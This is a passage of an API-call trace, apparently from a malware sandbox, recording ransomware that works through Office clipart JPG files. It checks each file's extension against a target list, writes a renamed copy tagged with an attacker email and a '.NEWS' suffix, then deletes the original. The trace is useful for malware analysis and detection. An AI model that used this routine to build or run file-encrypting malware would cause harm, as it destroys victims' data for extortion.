0 [0186.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0186.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0186.060] lstrlenW (lpString=".doc") returned 4 [0186.060] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0186.060] lstrlenW (lpString=".docx") returned 5 [0186.060] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0186.060] lstrlenW (lpString=".pdf") returned 4 [0186.060] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0186.061] lstrlenW (lpString=".xls") returned 4 [0186.061] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0186.061] lstrlenW (lpString=".xlsx") returned 5 [0186.061] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0186.061] lstrlenW (lpString=".ppt") returned 4 [0186.061] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0186.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0186.061] lstrlenW (lpString=".zip") returned 4 [0186.061] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0186.061] lstrlenW (lpString=".rar") returned 4 [0186.061] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0186.061] lstrlenW (lpString=".bz2") returned 4 [0186.061] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0186.061] lstrlenW (lpString=".7z") returned 3 [0186.061] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0186.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0186.061] lstrlenW (lpString=".dbf") returned 4 [0186.061] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0186.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0186.061] lstrlenW (lpString=".1cd") returned 4 [0186.061] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0186.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0186.061] lstrlenW (lpString=".jpg") returned 4 [0186.061] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0186.061] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0186.062] lstrlenW (lpString="J0145904.JPG") returned 12 [0186.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0186.222] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=39542) returned 1 [0186.222] CloseHandle (hObject=0x51c) returned 1 [0186.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 0x220 [0186.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0186.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.121] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.121] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.122] GetLastError () returned 0x0 [0187.122] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x9a76, lpOverlapped=0x0) returned 1 [0187.125] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x9a80, lpOverlapped=0x0) returned 1 [0187.127] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.127] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.128] SetEndOfFile (hFile=0x474) returned 1 [0187.128] CloseHandle (hObject=0x474) returned 1 [0187.128] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.128] SetEndOfFile (hFile=0x560) returned 1 [0187.131] CloseHandle (hObject=0x560) returned 1 [0187.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 1 [0187.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0187.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0187.132] lstrlenW (lpString=".doc") returned 4 [0187.132] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.132] lstrlenW (lpString=".docx") returned 5 [0187.132] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0187.132] lstrlenW (lpString=".pdf") returned 4 [0187.133] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.133] lstrlenW (lpString=".xls") returned 4 [0187.133] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.133] lstrlenW (lpString=".xlsx") returned 5 [0187.133] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0187.133] lstrlenW (lpString=".ppt") returned 4 [0187.133] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0187.133] lstrlenW (lpString=".zip") returned 4 [0187.133] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.133] lstrlenW (lpString=".rar") returned 4 [0187.133] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.133] lstrlenW (lpString=".bz2") returned 4 [0187.133] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.133] lstrlenW (lpString=".7z") returned 3 [0187.133] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0187.133] lstrlenW (lpString=".dbf") returned 4 [0187.133] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0187.133] lstrlenW (lpString=".1cd") returned 4 [0187.133] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0187.133] lstrlenW (lpString=".jpg") returned 4 [0187.133] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0187.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0187.133] lstrlenW (lpString=".doc") returned 4 [0187.133] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.133] lstrlenW (lpString=".docx") returned 5 [0187.133] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0187.133] lstrlenW (lpString=".pdf") returned 4 [0187.133] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.133] lstrlenW (lpString=".xls") returned 4 [0187.133] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.134] lstrlenW (lpString=".xlsx") returned 5 [0187.134] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0187.134] lstrlenW (lpString=".ppt") returned 4 [0187.134] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0187.134] lstrlenW (lpString=".zip") returned 4 [0187.134] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.134] lstrlenW (lpString=".rar") returned 4 [0187.134] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.134] lstrlenW (lpString=".bz2") returned 4 [0187.134] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.134] lstrlenW (lpString=".7z") returned 3 [0187.134] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0187.134] lstrlenW (lpString=".dbf") returned 4 [0187.134] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0187.134] lstrlenW (lpString=".1cd") returned 4 [0187.134] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0187.134] lstrlenW (lpString=".jpg") returned 4 [0187.134] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.134] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0187.134] lstrlenW (lpString="J0148757.JPG") returned 12 [0187.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.136] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=67540) returned 1 [0187.136] CloseHandle (hObject=0x560) returned 1 [0187.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 0x220 [0187.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.137] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.137] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.138] GetLastError () returned 0x0 [0187.138] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x107d4, lpOverlapped=0x0) returned 1 [0187.141] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x107e0, lpOverlapped=0x0) returned 1 [0187.143] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.143] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.143] SetEndOfFile (hFile=0x474) returned 1 [0187.144] CloseHandle (hObject=0x474) returned 1 [0187.144] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.144] SetEndOfFile (hFile=0x560) returned 1 [0187.147] CloseHandle (hObject=0x560) returned 1 [0187.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 1 [0187.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0187.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0187.149] lstrlenW (lpString=".doc") returned 4 [0187.149] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.149] lstrlenW (lpString=".docx") returned 5 [0187.149] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0187.149] lstrlenW (lpString=".pdf") returned 4 [0187.149] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.149] lstrlenW (lpString=".xls") returned 4 [0187.149] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.149] lstrlenW (lpString=".xlsx") returned 5 [0187.149] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0187.149] lstrlenW (lpString=".ppt") returned 4 [0187.149] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0187.150] lstrlenW (lpString=".zip") returned 4 [0187.150] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.150] lstrlenW (lpString=".rar") returned 4 [0187.150] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.150] lstrlenW (lpString=".bz2") returned 4 [0187.150] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.150] lstrlenW (lpString=".7z") returned 3 [0187.150] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0187.150] lstrlenW (lpString=".dbf") returned 4 [0187.150] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0187.150] lstrlenW (lpString=".1cd") returned 4 [0187.150] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0187.150] lstrlenW (lpString=".jpg") returned 4 [0187.150] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0187.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0187.150] lstrlenW (lpString=".doc") returned 4 [0187.150] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.150] lstrlenW (lpString=".docx") returned 5 [0187.150] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0187.150] lstrlenW (lpString=".pdf") returned 4 [0187.150] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.150] lstrlenW (lpString=".xls") returned 4 [0187.150] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.150] lstrlenW (lpString=".xlsx") returned 5 [0187.150] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0187.150] lstrlenW (lpString=".ppt") returned 4 [0187.151] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0187.151] lstrlenW (lpString=".zip") returned 4 [0187.151] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.151] lstrlenW (lpString=".rar") returned 4 [0187.151] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.151] lstrlenW (lpString=".bz2") returned 4 [0187.151] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.151] lstrlenW (lpString=".7z") returned 3 [0187.151] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0187.151] lstrlenW (lpString=".dbf") returned 4 [0187.151] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0187.151] lstrlenW (lpString=".1cd") returned 4 [0187.151] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0187.151] lstrlenW (lpString=".jpg") returned 4 [0187.151] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.151] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0187.151] lstrlenW (lpString="J0148798.JPG") returned 12 [0187.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.152] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=38237) returned 1 [0187.152] CloseHandle (hObject=0x560) returned 1 [0187.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 0x220 [0187.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.153] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.153] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.154] GetLastError () returned 0x0 [0187.154] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x955d, lpOverlapped=0x0) returned 1 [0187.414] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x9560, lpOverlapped=0x0) returned 1 [0187.415] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.415] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.415] SetEndOfFile (hFile=0x474) returned 1 [0187.415] CloseHandle (hObject=0x474) returned 1 [0187.416] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.416] SetEndOfFile (hFile=0x560) returned 1 [0187.419] CloseHandle (hObject=0x560) returned 1 [0187.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 1 [0187.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0187.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0187.420] lstrlenW (lpString=".doc") returned 4 [0187.420] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.420] lstrlenW (lpString=".docx") returned 5 [0187.420] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0187.420] lstrlenW (lpString=".pdf") returned 4 [0187.420] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.421] lstrlenW (lpString=".xls") returned 4 [0187.421] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.421] lstrlenW (lpString=".xlsx") returned 5 [0187.421] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0187.421] lstrlenW (lpString=".ppt") returned 4 [0187.421] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0187.421] lstrlenW (lpString=".zip") returned 4 [0187.421] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.421] lstrlenW (lpString=".rar") returned 4 [0187.421] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.421] lstrlenW (lpString=".bz2") returned 4 [0187.421] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.421] lstrlenW (lpString=".7z") returned 3 [0187.421] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0187.421] lstrlenW (lpString=".dbf") returned 4 [0187.421] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0187.421] lstrlenW (lpString=".1cd") returned 4 [0187.421] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0187.421] lstrlenW (lpString=".jpg") returned 4 [0187.421] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0187.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0187.421] lstrlenW (lpString=".doc") returned 4 [0187.421] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.421] lstrlenW (lpString=".docx") returned 5 [0187.421] lstrcmpiW (lpString1=".docx", 